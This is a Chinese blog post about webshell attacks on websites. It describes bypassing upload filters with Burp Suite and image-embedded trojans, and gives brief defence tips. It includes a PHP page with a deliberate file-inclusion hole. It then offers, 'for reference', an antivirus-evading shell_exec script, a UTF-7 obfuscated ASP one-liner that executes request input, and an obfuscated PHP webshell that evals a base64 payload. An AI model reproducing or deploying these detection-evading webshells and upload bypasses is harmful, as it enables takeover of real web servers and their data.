最近公司项目也是经常被同行攻击,经过排查,基本定位都是挂马脚本导致,所以针对webShell攻击做一下记录。

首先简单说下 什么是webShell?

  利用文件上传,上传了非法可以执行代码到服务器,然后利用程序(中国蚁剑、哥斯拉、冰蝎)进行连接并执行服务器的操作。

下面是蚁剑的成功连接界面,可以对整个服务器下的项目进行授权操作。

哥斯拉成功连接界面

攻击思路:

  1.通过第三方检测工具对网站进行扫描上传的接口( AppScan工具,或者其它开源产品Github上或码云有 )

  2.测试上传非图片文件,如果前端限制了,把php脚本改成jpg格式 可以配合抓包工具(burpsuite)进行提交后修改文件后缀,大部分网站上传接口可以给上传。如果上传不了最后给强制返回了图片格式后缀,也不用慌,还可以尝试上传一句话木马保存到图片里面。再通过访问日志,或者错误日志写入引用图片木马。

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];// http://www.a.com/b.png
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

反攻击思路:

  1.前端获取图片的base64格式 ,后端直接强制上传文件的后缀为 png jpg

  2.PHP 禁用eval() {evel是禁用不了的,属于系统C的语言,但是百度有办法禁用}  shell_exec() system() assert() 等危险可执行函数

  3.上传接口,设置好访问权限,这样可以少了很多麻烦。

其实这个webShell病毒,我测试发现很多可以免杀。就是杀毒无法识别,一般都是进行了伪装,代码变形,代码加密等等方式。不过随着杀毒防御的不断增加病毒的形态,绝大对数还是可以被检测出来。所以推荐下几个比较好用的防御杀毒工具:

  1.阿里云检测代码,我一般用这个测试写的代码是否可以被识别,这个识别度非常高  https://ti.aliyun.com/#/webshell

  2.宝塔杀毒软件很多,我用过微步木马检测,还挺好用,识别度很高

  3.APP 河马查杀 、D盾  这2个我下载扫过全站的代码,识别度相对前面的没有那么高。

最后发几段代码供参考下:

<?php
// 这个是可以过阿里云的 免杀脚本,如果使用的是宝塔服务器

ini_set("xdebug.var_display_max_children", '-1');
ini_set("xdebug.var_display_max_data", '-1');
ini_set("xdebug.var_display_max_depth", '-1');
function running_process(){
$cmd = "bt default | head -n 8 | tail -n 4";
#$ret1 = system($cmd);
$ret1 = shell_exec($cmd);
#$ret2 = exec($cmd);
var_dump($ret1);
echo "\n";
print_r($ret1);
echo "\n";
echo shell_exec($cmd);
}
running_process();
?>
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}

.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}

.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};

eval($O00O0O("JE8wTzAwMD0ia0hlTGJxUE9VVE5qcGFoSlNBZ2RJY3RYRVZuQ3dseVdCWVJLclpNRGltZnZ1Rkdzb3hRemJvV1lNVGdhRWx4VnJaa0tuenVKZmhwSERJZENxdEJQamlSWFVOR3ZReUZBZVNtY09Mc3dndjlxWm96WHNveHRoM3hyTTI1RmgzUmtoZHNPWGxjWHNveHRKUzkwWlAxdEgyTHJNUHQwWHZ6cmFxcnpOSEtCTTNLRmh5SXFNM0swWlA1ZFh2enJhcXJ5SlA1VkptdEFNUWp0TXl4QU5tRU9LRHNjS0RjcldxT3VmQ3p1Tnk5QlhDUnJnbHo3S21iOGgzUkJNbUllWENSRFhsY2JabmNVWG5qN0NRenVmQ3p1ZkN6dUttR3VnbnpibjFjYlpuY0xLVkQxSGxjWGZDenVmQ3p1ZkN6YlJTY2JaSTB1Z256YlJTY2JaSTFXS21HN0NRenVmQ2o5Q1F6dWZDakJOSFIxaHk0dUtEczdDZDBYS29qa2gzRzlLM2praDN4M00zS2JLd2NYS29qa1dQTEFpUFJhaVAxdGduSnFpSHRjTTJTYkt3Y1hLbXB0V2wwZHhQaTBObXhWRzJmMWlQRDN4VklieFFoN0N5dHlmQ2tyaDN4dEpDdWJIMWpnRTFSTUtvamtoM3hKWG50N0NRenVmQ3piTm1TMGlsMXRNeXhBTm1FT2l5U3dObGkwSDJSdGkyOWJObnViSDFqZ0UxUk1Lb2praDN4SlhucWJaMkk1WGxjWGZDenVmbXR5ZkNrcmgzeHRKQ3ViSDF4U0UxeEtsMDVNS29qa1dQTEFpUFJhaVAxdEhuYnJXcU91ZkN6dWZDenVmQ1JxaUh0Y00yU2JnUEllaTI5Yk5udWJIMXhTRTF4S2wwNU1Lb2prV1BMQWlQUmFpUDF0SG5xYloySTVYbGNYZkN6dWZDenVmQ2pyTlF6T2gzUkJobTl3WENScWlIdGNNMlNiWUNLZE5IUkNpSHhyaTN4S015TkFmUWI5Z2wxeWlQTHdObnQ3Q1F6dWZDenVmQ3p1ZkN6dWZDUnFpSHRjTTJTYmdQSWVpMjliTm51YmhtUzVNbTlrTkNxYloySTVYbGNYZkN6dWZDenVmQ2o5Q3ViS05ITmtNQ3ViaG1TNU1tOWtOQ2I3Q1F6dWZDenVmQ3p1TlB4T01CandKUEt3Sm9mT01QczFYQ1JxaUh4d1lRUlVOSGJyWXZ6Y0dsaXJhcU91ZkN6dWZDenVmbUlWWm04dWl5U3dObGkwSDJJZWkyOWJObmt0TXl4QU5tRU9zb0sxTVF1Yk5tUzBpbmJjS21wdFduYnJhcU91ZkN6dWZDenVmbUlWWm04dWgzSVFoM1JCWG0xYnhudWJobVN3aEI0YloySTVYbnFMeFFiN0NRenVmQ2o5TlBMd05IY1hmQ3p1ZkN6dWZDanJOUXpPaDNSQmhtOXdYQ1JiaUhSa1lDS2ROSFJDaUh4cmkzeEtNeU5BZlFia2dsMXlpUEx3Tm50N0NRenVmQ3p1ZkN6dWZDenVmQ1JGRTBJbEUwdGdsdGNiaG1TNU1tOWtORDVrTVBJSmdQSWVpMjliTm51Yk5tUzBpbnFiWjJJNVhsY1hmQ3p1ZkN6dWZDajlDUXp1ZkNqOUNkMD0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));?>

webShell攻击及防御的更多相关文章

  1. 常见【十种】WEB攻击及防御技术总结

    最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...

  2. 攻防:文件上传漏洞的攻击与防御,转自H3C

    WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目 ...

  3. Mac地址泛洪攻击的防御措施和具体配置

    Mac地址泛洪攻击指的是:利用交换机的mac地址学习机制,攻击者不断地刷新mac地址,填满交换机的mac地址表,以致崩溃,使交换机不得不使用广播发包,从而获取其他人的报文信息. mac地址泛洪攻击的防 ...

  4. C#-黑客-数据库访问-字符串的攻击和防御

    C#中用基本的方法对数据库进行增删改查,会被黑客利用,写入其他的代码以实现对数据库的数据进行其他的操作.例如: 对下列数据库的某个信息进行修改操作 修改代码: using System; using ...

  5. ARP缓存表的构成ARP协议全面实战协议详解、攻击与防御

    ARP缓存表的构成ARP协议全面实战协议详解.攻击与防御 1.4.3  ARP缓存表的构成 在局域网的任何一台主机中,都有一个ARP缓存表.该缓存表中保存中多个ARP条目.每个ARP条目都是由一个IP ...

  6. 【服务器防护】WEB防护 - WEBSHELL攻击探测【转载】

    原文:http://www.2cto.com/Article/201511/451757.html 1. 什么是webshell?     基于b/s架构的软件部署在Internet上,那么安全性是必 ...

  7. 浅谈Ddos攻击攻击与防御

    EMail: jianxin#80sec.comSite: http://www.80sec.comDate: 2011-2-10From: http://www.80sec.com/ [ 目录 ]一 ...

  8. 通过DDOS攻击流程图来浅谈如何预防Ddos攻击与防御

    DDOS攻击流程图 站长之家配图(来源:ppkj.net) 一 背景 在前几天,我们运营的某网站遭受了一次ddos攻击,我们的网站是一个公益性质的网站,为各个厂商和白帽子之间搭建一个平台以传递安全问题 ...

  9. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞

    看完<sql注入攻击与防御 第2版>后,发现原来自己也能黑网站了,就一个字:太爽了. 简单总结一下入侵步骤: 1.确定是否有sql注入漏洞 2.确定数据库类型 3.组合sql语句,实施渗透 ...

  10. CSRF——攻击与防御

    CSRF——攻击与防御 author: lake2 0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意 ...

随机推荐

  1. Springboot集成阿里云短信

    目录 1 前言 2 准备工作 2.1 了解流程 2.2 配置信息 2.3 短信签名和模板 2.3.1 签名 2.3.2 模板 2.3.3 存入数据库 3 SDK 4 集成Springboot 4.1 ...

  2. Docker 部署 Kibana

    Docker 部署 Kibana 本篇主要介绍 使用 Docker 部署 kibana 用于操作 Elasticsearch 使用. 1. 前置准备 1.1 Elasticsearch 准备 可以先准 ...

  3. windows C++ call ADB command

    提供两种方式: 1.Windows API 2.Windows _popen // ADBHelper.cpp : This file contains the 'main' function. Pr ...

  4. 频道插件如何对接圈子 齐博x1齐博x2齐博x3齐博x4齐博x5齐博x6齐博x7齐博x8齐博x9齐博x10

    圈子黄页里要显示对应频道的数据列表,一般没有特殊要求的话,不需要建立PHP文件, 只须要做好模板即可,比如 \template\index_style\default\qun\shop\index.h ...

  5. "一键重装系统软件"操作流程

    博主之前重装系统都是直接用win10系统更新里的重置系统(版本不会变化),和U盘重装电脑出厂映像(有各种品牌自带的软件,而且由于是出场版本,版本很低) 所以这次用"小白一键重装系统" ...

  6. 【UML】统一建模语言

    如果是准备学习设计模式的同学,可以只了解类图相关的知识 而如果是在准备软件设计师考试的同学,或许会对你有点帮助 正在施工...... 参考博客:https://blog.csdn.net/unique ...

  7. C# RulesEngine 规则引擎:从入门到看懵

    说明 RulesEngine 是 C# 写的一个规则引擎类库,读者可以从这些地方了解它: 仓库地址: https://github.com/microsoft/RulesEngine 使用方法: ht ...

  8. 学习ASP.NET Core Blazor编程系列九——服务器端校验

    学习ASP.NET Core Blazor编程系列一--综述 学习ASP.NET Core Blazor编程系列二--第一个Blazor应用程序(上) 学习ASP.NET Core Blazor编程系 ...

  9. Java集合精选常见面试题

    前言 博主只是这篇文章的搬运工,为了加强记忆自己梳理了一遍并扩展了部分内容. 集合拓展链接:集合概述&集合之Collection接口 - 至安 - 博客园 (cnblogs.com) Java ...

  10. VirtualBox 下 CentOS7 静态 IP 的配置 → 多次踩坑总结,蚌埠住了!

    开心一刻 一个消化不良的病人向医生抱怨:我近来很不正常,吃什么拉什么,吃黄瓜拉黄瓜,吃西瓜拉西瓜,怎样才能恢复正常呢? 医生沉默片刻:那你只能吃屎了 环境准备 VirtualBox 6.1 网络连接方 ...